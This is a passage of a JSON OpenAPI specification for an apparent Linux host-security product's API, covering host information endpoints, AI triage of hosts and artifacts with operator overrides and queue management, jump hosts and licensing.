retrieve.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoResponse"}],"properties":{"data":{"type":"array","description":"Network listeners list for this host, current as of the date indicated in the results_date property. Will be an empty array if there are no relevant recon sandfly results for this host.","items":{"$ref":"#/components/schemas/HostInfoListener"}}}}}},"description":"Host network listeners list retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hosts/{host_id}/info/loggedinusers":{"get":{"operationId":"hostInfoLoggedInUsers","description":"Get logged in users for host.","summary":"Host logged in users","tags":["Host Results Info"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to retrieve.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoResponse"}],"properties":{"data":{"type":"array","description":"Login sessions list for this host, current as of the date indicated in the results_date property. Will be an empty array if there are no relevant recon sandfly results for this host.","items":{"$ref":"#/components/schemas/HostInfoLoggedInUser"}}}}}},"description":"Host login session list retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hosts/{host_id}/info/processes":{"get":{"operationId":"hostInfoProcesses","description":"Get process list for host.","summary":"Host process list","tags":["Host Results Info"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to retrieve.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoResponse"}],"properties":{"data":{"type":"array","description":"Process list for this host, current as of the date indicated in the results_date property. Will be an empty array if there are no relevant recon sandfly results for this host.","items":{"$ref":"#/components/schemas/HostInfoProcess"}}}}}},"description":"Host process list retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hosts/{host_id}/info/scheduledtasks":{"get":{"operationId":"hostInfoScheduledTasks","description":"Get scheduled tasks list for host.","summary":"Host scheduled tasks list","tags":["Host Results Info"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to retrieve.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoResponse"}],"properties":{"data":{"type":"array","description":"Scheduled task (cron jobs, at jobs, systemd timers) list for this host, current as of the date indicated in the results_date property. Will be an empty array if there are no relevant recon sandfly results for this host.","items":{"$ref":"#/components/schemas/HostInfoScheduledTask"}}}}}},"description":"Host scheduled task list retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hosts/{host_id}/info/services":{"get":{"operationId":"hostInfoServices","description":"Get systemd service unit list for host.","summary":"Host systemd service list","tags":["Host Results Info"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to retrieve.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoResponse"}],"properties":{"data":{"type":"array","description":"systemd service unit list for this host, current as of the date indicated in the results_date property. Will be an empty array if there are no relevant recon sandfly results for this host.","items":{"$ref":"#/components/schemas/HostInfoService"}}}}}},"description":"Host systemd service unit list retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hosts/{host_id}/info/users":{"get":{"operationId":"hostInfoUsers","description":"Get user list for host.","summary":"Host user list","tags":["Host Results Info"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to retrieve.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoResponse"}],"properties":{"data":{"type":"array","description":"User list for this host, current as of the date indicated in the results_date property. Will be an empty array if there are no relevant recon sandfly results for this host.","items":{"$ref":"#/components/schemas/HostInfoUser"}}}}}},"description":"Host user list retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hosts/{host_id}/triage":{"get":{"operationId":"getHostTriage","description":"Get the cached AI triage verdict for a host.\n\nA host that has never been triaged returns a record rather than a 404: not yet judged is a normal state for a host, not a missing resource. Its `state` is `queued` or `running` if the host is waiting for its first verdict, and `none` if nothing has judged it and nothing is pending.\n\nWhenever the host is on the triage queue the response carries `queue_position` and `queue_length`, so a view can report progress without a second request. A host that already has a verdict and has been asked for again keeps its verdict and its `state`, and reports the position of the re-run beside them.","summary":"Host AI triage verdict","tags":["AI Triage"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to retrieve.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/HostTriage"}}},"description":"The host's AI triage verdict."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host ID not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}},"post":{"operationId":"beginHostTriage","description":"Request a fresh AI triage submission for a host.\n\nThe request is queued ahead of automatic work and ignores the configured minimum interval between verdicts, the unchanged-input check and the reuse of another host's verdict, so for a host with something alerting it always results in a submission to the configured model. A host with nothing alerting is recorded as `clean` without a submission, as it would be automatically. The configured daily limit does not apply to the request, though its submission is counted against the day. A request for a host whose verdict is being formed at that moment runs again once it finishes, against the host as it is then; a scan that lands during a requested run re-runs the host as automatic work rather than as a second request.\n\nThe host tag exclusion does not apply to a request. `exclude_host_tags` scopes automatic triage, so a host it keeps out of the unattended path is still triaged when an operator asks, and the verdict that comes back is kept rather than taken back by the next automatic pass. While the request waits, the host's existing verdict, if any, stays in place and is reported with the request's queue position beside it.","summary":"Request host AI triage","tags":["AI Triage"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to triage.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageQueued"}}},"description":"The host was queued for triage."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Neither AI triage nor AI analysis is enabled on this server. A request made by hand needs only a usable AI connection: it runs on the AI triage configuration when there is one, and on the AI analysis configuration otherwise."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host ID not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hosts/{host_id}/triage/overrides":{"delete":{"operationId":"revertHostTriageSeverities","description":"Remove the AI severity from every artifact on a host, so each reports the severity its sandflies give it again.\n\nThe host's own AI rating is withdrawn with it, whether or not any artifact carried an AI severity: until a new verdict is formed the host's `severity` is the highest severity among its alerting artifacts, and the verdict reports `severity_withdrawn`. The verdict itself is not deleted and still reports the severity the model gave it.\n\nThis clears every AI severity on the host, including one set by a classification requested on an artifact directly -- unlike a new host verdict, which leaves those alone. The un-steered severity is never lost while a verdict is in force, since it is recomputed on every scan, so this restores exactly what the sandflies currently say rather than what they said when the verdict was formed.","summary":"Revert AI severities on a host","tags":["AI Triage"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to revert.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageReverted"}}},"description":"How many artifacts were reverted."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host ID not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hosts/{host_id}/triage/document":{"get":{"operationId":"getHostTriageDocument","description":"Build the AI triage submission for a host and return it without sending it: the system instruction, the JSON document describing the host, and the question, exactly as a triage submission for the host would send them now.\n\nThe document is assembled against the host's previous verdict and the configured `max_payload_kb`, unless a different budget is given. Nothing is sent to the AI provider, queued or recorded, and the checks that decide whether a host is submitted at all are not applied: a host with no alerting artifacts, an excluded host, or a host whose verdict is still current returns the document it would have been sent. AI triage does not need to be enabled.","summary":"Preview a host's AI triage submission","tags":["AI Triage"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to build the submission for.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}},{"name":"max_payload_kb","description":"Size budget to build the document to, in KB, in place of the configured `max_payload_kb`.","in":"query","required":false,"schema":{"type":"integer","minimum":16}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageDocument"}}},"description":"The submission the host would be sent."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"max_payload_kb is invalid."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host ID not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hosts/triage":{"post":{"operationId":"beginHostsTriage","description":"Request AI triage for several hosts at once.\n\nThe whole list is queued in one step. Hosts that do not exist are left out rather than failing the request, and a host named more than once counts once, so the `queued` count in the response may be lower than the number of hosts asked for. A host already waiting on the queue is moved to the front as a manual request. See beginHostTriage for more details.","summary":"Request AI triage for several hosts","tags":["AI Triage"],"requestBody":{"required":true,"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageBulkRequest"}}}},"responses":{"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageQueued"}}},"description":"The hosts were queued for triage."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"The request body was not valid JSON, or named no hosts."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Neither AI triage nor AI analysis is enabled on this server. A request made by hand needs only a usable AI connection: it runs on the AI triage configuration when there is one, and on the AI analysis configuration otherwise."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/artifacts/{artifact_id}/triage":{"get":{"operationId":"getArtifactTriage","description":"Get what AI triage has concluded about one artifact.\n\nThis is the finding the host's verdict rated the artifact under, or the artifact's own classification if one was requested. An artifact that exists but nothing has judged returns a record rather than a 404: `queued` or `running` if a classification is waiting, `none` otherwise. An artifact id that does not exist is a 404. An artifact that has a record and has been asked for again keeps it and reports `queue_position` and `queue_length` beside it.\n\nA host verdict leaves a record only on the artifacts of a finding it gave a severity to. An alerting artifact the verdict grouped into a finding that offered no severity is not judged in isolation and has no record of its own, so it reads as `none`.","summary":"Artifact AI classification","tags":["AI Triage"],"parameters":[{"name":"artifact_id","description":"Numeric artifact ID.","in":"path","required":true,"schema":{"type":"integer","format":"int64"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ArtifactTriage"}}},"description":"The artifact's AI classification."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Bad artifact ID."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Artifact not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}},"post":{"operationId":"beginArtifactTriage","description":"Request AI classification of one artifact.\n\nUnlike the rating an artifact picks up from its host's verdict, a classification carries the artifact's own `verdict`, `report` and `tags`.\n\nThe host tag exclusion does not apply: it scopes automatic triage, and a classification is only ever asked for, so an artifact on an excluded host is classified like any other. An id that names no artifact is a 404, as it is on the read: a list can easily hold a row something else has since deleted.\n\nA classification outranks a host verdict's reading of the same artifact, and survives later verdicts for its host. A verdict takes back only what a previous verdict set, and it does not apply a finding's severity to an artifact that carries a classification: that artifact keeps its own verdict, report and severity until it is classified again, its AI severity is reverted, or it stops existing.","summary":"Request artifact AI classification","tags":["AI Triage"],"parameters":[{"name":"artifact_id","description":"Numeric artifact ID.","in":"path","required":true,"schema":{"type":"integer","format":"int64"}}],"responses":{"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageQueued"}}},"description":"The artifact was queued for classification."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Bad artifact ID."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Neither AI triage nor AI analysis is enabled on this server. A request made by hand needs only a usable AI connection: it runs on the AI triage configuration when there is one, and on the AI analysis configuration otherwise."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Artifact not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/artifacts/{artifact_id}/triage/override":{"delete":{"operationId":"revertArtifactTriageSeverity","description":"Remove the AI severity from one artifact, so it reports the severity its sandflies give it again.\n\nThe host's AI rating is withdrawn with it. An operator who restores one artifact has overruled part of the verdict's rating, so until a new verdict is formed the host's `severity` is the highest severity among its alerting artifacts, and the verdict reports `severity_withdrawn`. Neither the host's verdict nor the artifact's own record is deleted, and a later verdict for the host may set the severity again.\n\nIdempotent: reverting an artifact that has no AI severity succeeds, changes nothing -- the host's rating included -- and reports that there was nothing to revert, so a bulk action does not have to know which rows have one.","summary":"Revert an AI severity","tags":["AI Triage"],"parameters":[{"name":"artifact_id","description":"Numeric artifact ID.","in":"path","required":true,"schema":{"type":"integer","format":"int64"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"The artifact is no longer steered."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Bad artifact ID."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/triage/queue":{"get":{"operationId":"getTriageQueue","summary":"AI triage queue","description":"List the AI triage queue: every host waiting for a verdict or being judged now, and every artifact waiting to be classified, in `position` order.\n\nRequests made by hand are worked first, then items that only take up a verdict already formed for another host in the same situation, then everything else, oldest first. Each item's `position` is the one `getHostTriage` and `getArtifactTriage` report for its subject, where 1 is next, and no two items share one. An item that is held -- waiting out the minimum interval between verdicts, the daily limit, a retry after a failed attempt, or a verdict being formed for another host in the same situation -- is not in line until its hold ends, and is not counted ahead of anything in line. Held items are listed after every item in line, the one whose hold ends soonest first, and `held_until` says when each hold ends. When a hold ends, the item takes its place in line by the order above.\n\n`available`, `automatic` and `paused_until` describe the queue as a whole. Nothing runs while `available` is false, and automatic items wait while `automatic` is false, whatever their own `state` says.","tags":["AI Triage"],"parameters":[{"description":"number of items per page","in":"query","name":"size","required":false,"schema":{"type":"integer","default":100,"minimum":1,"maximum":10000}},{"description":"page number of items to retrieve","in":"query","name":"page","required":false,"schema":{"type":"integer","default":1,"minimum":1}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageQueue"}}},"description":"One page of the AI triage queue."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Page or size query parameter is invalid."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/triage/deletequeue":{"post":{"operationId":"removeTriageQueueItems","summary":"Remove AI triage queue items","description":"Take the given items off the AI triage queue.\n\nAn item that is waiting is removed at once. An item that is running cannot be recalled, because its submission is already with the AI provider: it finishes, its verdict is kept, and it then leaves the queue without being retried, held or run again, even if a scan or a request asked for its subject while it ran. Until then it stays on the queue with `removed` set, so that nothing else starts on the same subject meanwhile. A verdict it forms is still shared with the other hosts in the same situation, which queues them to take it up without a submission.\n\nA removed host is not queued again automatically until something about it changes: a scan that changes what is alerting on it, or a change to its alerting artifacts made some other way, such as whitelisting. A host that has no verdict yet is queued again by its next scan, as any host without a verdict is. A request made by hand queues a host or artifact again at any time.\n\nIds that are not on the queue, such as an item that finished after the list was read, are ignored, so `removed` may be lower than the number of ids given.","tags":["AI Triage"],"requestBody":{"required":true,"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageQueueRemoveRequest"}}}},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageQueueRemoved"}}},"description":"The items were taken off the queue."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"The request body was not valid JSON, or named no queue items."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/triage/deletequeue/all":{"delete":{"operationId":"clearTriageQueue","summary":"Clear the AI triage queue","description":"Take every item off the AI triage queue. Nothing goes back on it until a scan, a change to a host's alerting artifacts or a request made by hand puts it there.\n\nAn item that is waiting is removed at once. An item that is running cannot be recalled, because its submission is already with the AI provider: it finishes, its verdict is kept, and it then leaves the queue without being retried, held or run again, even if a scan or a request asked for its subject while it ran. Until then it stays on the queue with `removed` set, so that nothing else starts on the same subject meanwhile. A verdict it forms is still shared with the other hosts in the same situation, which queues them to take it up without a submission.\n\nA removed host is not queued again automatically until something about it changes: a scan that changes what is alerting on it, or a change to its alerting artifacts made some other way, such as whitelisting. A host that has no verdict yet is queued again by its next scan, as any host without a verdict is. A request made by hand queues a host or artifact again at any time.\n\nAn item queued while the queue is being cleared is a new request, and is left in place.","tags":["AI Triage"],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageQueueRemoved"}}},"description":"The queue was cleared."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/triage/deletequeue/{queue_item_id}":{"delete":{"operationId":"removeTriageQueueItem","summary":"Remove an AI triage queue item","description":"Take one item off the AI triage queue.\n\nAn item that is waiting is removed at once. An item that is running cannot be recalled, because its submission is already with the AI provider: it finishes, its verdict is kept, and it then leaves the queue without being retried, held or run again, even if a scan or a request asked for its subject while it ran. Until then it stays on the queue with `removed` set, so that nothing else starts on the same subject meanwhile. A verdict it forms is still shared with the other hosts in the same situation, which queues them to take it up without a submission.\n\nA removed host is not queued again automatically until something about it changes: a scan that changes what is alerting on it, or a change to its alerting artifacts made some other way, such as whitelisting. A host that has no verdict yet is queued again by its next scan, as any host without a verdict is. A request made by hand queues a host or artifact again at any time.","tags":["AI Triage"],"parameters":[{"name":"queue_item_id","description":"The queue item's `id`, as the queue listing reports it.","in":"path","required":true,"schema":{"type":"integer","format":"int64"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageQueueRemoved"}}},"description":"The item was taken off the queue."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Bad queue item ID."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No item with this ID is on the queue. It may have finished since the list was read."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/triage/queue/{queue_item_id}/run":{"post":{"operationId":"runTriageQueueItemNow","summary":"Run an AI triage queue item now","description":"Turn a waiting item into a request made by hand, so that it is worked as soon as a submission slot is free.\n\nWhatever was holding the item no longer does: the minimum interval between verdicts, the daily limit, a retry delay after a failed attempt, or a verdict being formed for another host in the same situation. Its attempt count starts again, and it moves to the front of the queue. When it runs it is treated as any request made by hand, as described for `beginHostTriage`: a host with something alerting is submitted to the AI provider whatever the automatic checks would have decided. An item that would only have taken up another host's verdict becomes a full triage of its host.\n\nA pause after the AI provider rate-limits a submission applies to the whole queue and is not lifted by this request; the item runs when the pause ends.","tags":["AI Triage"],"parameters":[{"name":"queue_item_id","description":"The queue item's `id`, as the queue listing reports it.","in":"path","required":true,"schema":{"type":"integer","format":"int64"}}],"responses":{"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/TriageQueued"}}},"description":"The item is now a request made by hand, at the front of the queue."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Bad queue item ID."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Neither AI triage nor AI analysis is enabled on this server. A request made by hand needs only a usable AI connection: it runs on the AI triage configuration when there is one, and on the AI analysis configuration otherwise."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No item with this ID is on the queue. It may have finished since the list was read."},"409":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"The item is already running."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hostbrief/{host_id}":{"get":{"description":"Get a brief view of a host by host ID: its IDs, hostname, OS node name, tags, OS distribution, and when a node last connected to it. Use `GET /v4/hosts/{host_id}` for the full host.","operationId":"getHostBrief","summary":"Get host brief","tags":["Hosts"],"parameters":[{"description":"host_id or host_sequence_id to retrieve.","in":"path","name":"host_id","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/HostBrief"}}},"description":"Host brief retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hostsrollup/{host_id}":{"get":{"description":"Get a host and associated host data by host ID.","operationId":"getHostRollup","summary":"Get host rollup","tags":["Hosts"],"parameters":[{"description":"host_id or host_sequence_id to retrieve.","in":"path","name":"host_id","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}},{"description":"Set to true to include the host's alerting artifacts (alerting_artifacts) in the response. It is opt-in because it is the only part of the rollup whose cost grows with the host's data, so should only be included when needed.","in":"query","name":"artifacts","required":false,"schema":{"type":"boolean","default":false}},{"description":"If present, restricts the SSH key data in the ssh_summary object of the response to the specific key ID. While not modeled in this API spec, instead of a single integer key ID, this may be a comma-delimited list of key IDs to restrict to a set of keys.","in":"query","name":"ssh_key_filter","required":false,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/HostRollup"}}},"description":"Host information retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/jumphosts":{"delete":{"description":"Deletes all jump hosts passed into the body as bulk operation.","operationId":"deleteJumpHosts","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/JumpHostsDelete"}}},"description":"List of jump hosts to delete.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Jump hosts deleted"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with delete request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete jump hosts in bulk","tags":["JumpHosts"]},"get":{"description":"Gets all of the jump hosts in the system.","operationId":"getJumpHosts","responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"properties":{"data":{"description":"List of Jump Hosts","items":{"$ref":"#/components/schemas/JumpHost"},"type":"array"}},"required":["data"],"type":"object"}}},"description":"Jump host information retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all jump hosts","tags":["JumpHosts"]}},"/jumphosts/{jump_host_name}":{"delete":{"description":"Deletes a jump host by name.","operationId":"deleteJumpHost","parameters":[{"description":"jump_host_name delete.","in":"path","name":"jump_host_name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Jump host deleted"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with delete request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete jump host","tags":["JumpHosts"]},"get":{"description":"Gets a jump host by jump host name.","operationId":"getJumpHost","parameters":[{"description":"jump_host_name to retrieve.","in":"path","name":"jump_host_name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/JumpHost"}}},"description":"Jump host information retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get jump host","tags":["JumpHosts"]},"post":{"description":"Allows users to create a jump host.","operationId":"addJumpHost","parameters":[{"description":"jump_host_name to add.","in":"path","name":"jump_host_name","required":true,"schema":{"format":"string","type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/JumpHostAdd"}}},"description":"Parameters to add in the registered jump_host.","required":true},"responses":{"201":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Jump host information added."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with update request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Add jump host","tags":["JumpHosts"]},"put":{"description":"Allows users to update a jump host (such as credentials to use or new hostname).","operationId":"updateJumpHost","parameters":[{"description":"jump_host_name to update.","in":"path","name":"jump_host_name","required":true,"schema":{"format":"string","type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/JumpHostUpdate"}}},"description":"Parameters to update in the registered jump host.","required":true},"responses":{"201":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Jump host information updated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with update request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update jump host","tags":["JumpHosts"]}},"/license":{"delete":{"description":"Deletes a license.","operationId":"deleteLicense","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"License entry deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error deleting license entry."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete license","tags":["License"]},"get":{"description":"Gets the license data.","operationId":"getLicense","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/License"}}},"description":"License 